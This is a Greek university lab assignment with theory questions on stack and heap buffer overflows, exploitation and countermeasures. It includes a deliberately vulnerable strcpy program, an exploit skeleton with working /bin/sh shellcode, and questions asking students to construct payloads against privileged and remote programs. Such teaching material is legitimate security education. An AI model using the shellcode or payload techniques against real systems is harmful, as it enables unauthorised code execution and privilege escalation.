

Επίθεση Buffer Overflow

Θεωρητικές ερωτήσεις

Ερώτηση 1: Δομή της μνήμης κατά την εκτέλεση προγραμμάτων

Απαντήστε τα παρακάτω υπο-ερωτήματα που αφορούν στη δομή της μνήμης και της στοίβας κατά την εκτέλεση προγραμμάτων. Υποστηρίξτε τις απαντήσεις σας σχεδιάζοντας ενδεικτικά τη μνήμη και τα πλαίσια στοίβας σε κάθε περίπτωση.

1.1 Πώς αποφασίζονται οι διευθύνσεις για τις ακόλουθες μεταβλητές;

```
void func(int x, int y)
{
    int a = x + y;
    int b = x - y;
}
```

1.2 Σε ποια τμήματα της μνήμης βρίσκονται οι μεταβλητές του κώδικα που ακολουθεί;

```
int j = 0;
void foo(char *str)
{
    char *ptr = malloc(sizeof(int));
    char buffer[1024];
    int i;
    static int x;
}
```

1.3 Σχεδιάστε το πλαίσιο της στοίβας συναρτήσεων για την ακόλουθη συνάρτηση C.

```
int func(char *str)
{
    char buf [24];
    strcpy(buf, str);
    return 1;
}
```

1.4 Κατά καιρούς έχει προταθεί η αλλαγή του τρόπου που μεγαλώνει η στοίβα. Αντί να μεγαλώνει από την **υψηλή διεύθυνση** προς τη **χαμηλή διεύθυνση**, προτείνεται να αφήσουμε τη στοίβα να μεγαλώνει από τη **χαμηλή διεύθυνση** προς την **υψηλή διεύθυνση**. Με τον τρόπο αυτό, το **buffer** θα καταχωρείται πάνω από τη διεύθυνση επιστροφής (return address), οπότε, σε περίπτωση υπερχείλισης, το **buffer** δε θα μπορεί να επηρεάσει τη διεύθυνση επιστροφής. Σχολιάστε με επιχειρήματα την προτεινόμενη αλλαγή.

Ερώτηση 2: Εμφάνιση buffer overflow σε κώδικα

Απαντήστε τα παρακάτω υπο-ερωτήματα που αφορούν στην εμφάνιση του **buffer overflow** μέσα σε προγράμματα.

2.1 Στο παράδειγμα που παρουσιάζεται παρακάτω (πρόγραμμα **stack.c**), συμβαίνει **buffer overflow** μέσα στη συνάρτηση **strcpy()**, έτσι ώστε να γίνει μετάβαση στον κακόβουλο κώδικα όταν η **strcpy()** επιστρέφει, και όχι όταν η **foo()** επιστρέφει. Είναι αληθές ή ψευδές αυτό; Αιτιολογείστε την όποια απάντησή σας.

```
/* stack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char *str)
{
    char buffer[24];
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    foo(str);
    printf("Returned Properly\n");
    return 1;
}
```

2.2 Το παράδειγμα **buffer overflow** του προγράμματος **stack.c** διορθώθηκε όπως φαίνεται παρακάτω. Είναι πλέον ασφαλές; Αιτιολογείστε την όποια απάντησή σας.

```
int foo(char *str, int size)
{
    char *buffer = (char *) malloc(size);
    strcpy(buffer, str);
    return 1;
}
```

Ερώτηση 3: Αξιοποίηση του buffer overflow (επίθεση)

Θεωρήστε το παρακάτω πρόγραμμα με την ονομασία **exploit.c**, το οποίο χρησιμοποιείται για την παραγωγή του **badfile** με το οποίο μπορούμε να τροφοδοτήσουμε ένα ευπαθές πρόγραμμα. Το πρόγραμμα περιέχει κώδικα **shellcode** ο οποίος όταν εκτελεστεί μπορεί να ξεκινήσει ένα **shell**:

```
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
    "\x31\xc0"           /* xorl    %eax,%eax    */
    "\x50"               /* pushl   %eax         */
    "\x68""//sh"         /* pushl   $0x68732f2f  */
    "\x68""/bin"         /* pushl   $0x6e69622f  */
    "\x89\xe3"           /* movl    %esp,%ebx    */
    "\x50"               /* pushl   %eax         */
    "\x53"               /* pushl   %ebx         */
    "\x89\xe1"           /* movl    %esp,%ecx    */
    "\x99"               /* cdq                     */
    "\xb0\x0b"           /* movb    $0x0b,%al    */
    "\xcd\x80"           /* int     $0x80        */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

Απαντήστε τα παρακάτω υπο-ερωτήματα που αφορούν στην αξιοποίηση του **buffer overflow** για τη διενέργεια επιθέσεων.

3.1 Στο πρόγραμμα **exploit.c** που παρουσιάζεται παρακάτω, κατά την εκχώρηση της τιμής για τη διεύθυνση επιστροφής (return address), μπορούμε να κάνουμε το εξής;

```
*((long *) (buffer + 0x24)) = buffer + 0x150;
```

Πιστεύετε ότι η διεύθυνση επιστροφής θα δείξει στο **shellcode** ή όχι; Αιτιολογείστε την όποια απάντησή σας.

3.2 Η εκτέλεση της επίθεσης **buffer overflow** με τον τρόπο που περιεγράφηκε στην άσκηση δεν είναι πάντα επιτυχημένη. Παρόλο που το αρχείο **badfile** κατασκευάζεται σωστά (με το **shellcode** να βρίσκεται στο τέλος του αρχείου), όταν δοκιμάζουμε διαφορετικές διευθύνσεις επιστροφής, παρατηρούνται τα ακόλουθα αποτελέσματα.

```
buffer address: 0xbffff180
case 1: long retAddr = 0xbffff250 -> Able to get shell access
case 2: long retAddr = 0xbffff280 -> Able to get shell access
case 3: long retAddr = 0xbffff300 -> Cannot get shell access
case 4: long retAddr = 0xbffff310 -> Able to get shell access
case 5: long retAddr = 0xbffff400 -> Cannot get shell access
```

Μπορείτε να εξηγήσετε γιατί κάποιες από τις συγκεκριμένες διευθύνσεις δουλεύουν και κάποιες όχι;

3.3 Η ακόλουθη συνάρτηση καλείται μέσα σε ένα πρόγραμμα με προνόμια (**privileged program**). Το όρισμα **str** δείχνει σε μια συμβολοσειρά που παρέχεται εξ ολοκλήρου από χρήστες (το μέγεθος της συμβολοσειράς είναι μέχρι **300 bytes**). Όταν αυτή η συνάρτηση καλείται, η διεύθυνση του πίνακα του **buffer** είναι **0xAABB0010**, ενώ η διεύθυνση επιστροφής αποθηκεύεται στο **0xAABB0050**.

```
int bof(char *str)
{
    char buffer[24];
    strcpy(buffer, str);
    return 1;
}
```

Καταγράψτε τη συμβολοσειρά με την οποία θα τροφοδοτούσατε το πρόγραμμα, έτσι ώστε όταν αυτή αντιγράφεται στο **buffer** και όταν επιστρέφει η συνάρτηση **bof()**, το πρόγραμμα με προνόμια θα εκτελέσει τον δικό σας κώδικα. Στην απάντησή σας, δεν χρειάζεται να γράψετε τον κώδικα που διοχετεύτηκε, αλλά οι αποστάσεις (**offsets**) των βασικών στοιχείων στη συμβολοσειρά σας πρέπει να είναι σωστές.

3.4 Η παρακάτω συνάρτηση καλείται σε ένα **remote server** πρόγραμμα. Το όρισμα **str** δείχνει σε ένα **string** το οποίο παρέχεται από τους χρήστες (το μέγεθος του **string** είναι έως **300 bytes**). Το μέγεθος του **buffer** είναι **X**, η οποία τιμή είναι άγνωστη σε εμάς (δεν μπορούμε να κάνουμε debug στο **remote server** πρόγραμμα).

```
int bof(char *str)
{
    char buffer[X];
    strcpy(buffer, str);
    return 1;
}
```

Ωστόσο, με κάποιο τρόπο γνωρίζουμε η διεύθυνση του **buffer array** είναι **0xAABBCC10**, και η απόσταση μεταξύ του τέλους του **buffer** και της θέσης της μνήμης όπου βρίσκεται η return address της συνάρτησης, είναι 8. Παρόλο που δεν γνωρίζουμε την ακριβή τιμή του **X**, γνωρίζουμε ότι η τιμή του είναι μεταξύ 20 και 100.

Καταγράψτε τη συμβολοσειρά (**string**) με την οποία θα τροφοδοτούσατε το πρόγραμμα, έτσι ώστε όταν αυτή αντιγράφεται στο **buffer** και όταν επιστρέφει η συνάρτηση **bof()**, το **remote server** πρόγραμμα θα εκτελέσει τον δικό σας κώδικα. Υποτίθεται ότι ως επιτιθέμενοι θα έχετε μόνο μια προσπάθεια, γι' αυτό θα πρέπει να δομήσετε έτσι το **string** ώστε η επίθεση να επιτύχει ακόμα και αν δεν γνωρίζουμε την ακριβή τιμή του **X**. Στην απάντησή σας, δεν χρειάζεται να γράψετε τον κώδικα που διοχετεύτηκε, αλλά οι αποστάσεις (**offsets**) των βασικών στοιχείων στη συμβολοσειρά σας πρέπει να είναι σωστές.

3.5 Γιατί το **ASLR** (Address Space Layout Randomization) κάνει πιο δύσκολη την επίθεση **buffer overflow**; Περιγράψτε εν συντομία τον τρόπο λειτουργίας του. Κάντε το ίδιο και για τα αντίμετρα **stack guard** και **non-executable stack**.

Ερώτηση 4: Πρόβλημα υπερχείλισης στον σωρό (heap overflow)

Εκτός από την υπερχείλιση στη στοίβα, παρόμοιο φαινόμενο μπορεί να εμφανιστεί και στον σωρό (**heap**).

4.1 Χρησιμοποιώντας πληροφορίες από διάφορες πηγές (online άρθρα, βιβλία κλπ.), περιγράψτε εν συντομία τον τρόπο εμφάνισης του **heap overflow** και πώς αυτό μπορούμε να το εκμεταλλευτούμε για τη διενέργεια επίθεσης. Ποιες είναι οι ομοιότητες και ποιες οι διαφορές σε σχέση με το **buffer overflow**; Στην περιγραφή σας ενδείκνυται να χρησιμοποιήσετε κατάλληλα παραδείγματα επιθέσεων **heap overflow**.

Υποβολή αναφοράς (θεωρητικού μέρους)

Θα πρέπει να απαντήσετε στις παραπάνω ερωτήσεις και να υποβάλτε την εργαστηριακή αναφορά σας σε ένα αρχείο **PDF**.

Η προηγούμενη καλή κατανόηση του **πρακτικού μέρους** θα σας βοηθήσει να απαντήσετε και κάποια από τα θεωρητικά ερωτήματα. Για την απάντηση των ερωτημάτων μπορείτε να χρησιμοποιήσετε το υλικό που διδάχθηκε στο εργαστήριο (slides), καθώς και πληροφορίες που θα αναζητήσετε σε άλλες -έγκυρες- πηγές (online άρθρα, βιβλία, κλπ). Αν χρησιμοποιήσετε βοηθητικές πηγές, θα πρέπει να αναφέρετε και την πηγή (link ή σύγγραμμα). Σε όσα ερωτήματα απαιτείται, θα πρέπει να σχεδιάσετε το stack frame της εκάστοτε συνάρτησης και να σχολιάσετε που αποθηκεύεται κάθε στοιχείο του προγράμματος.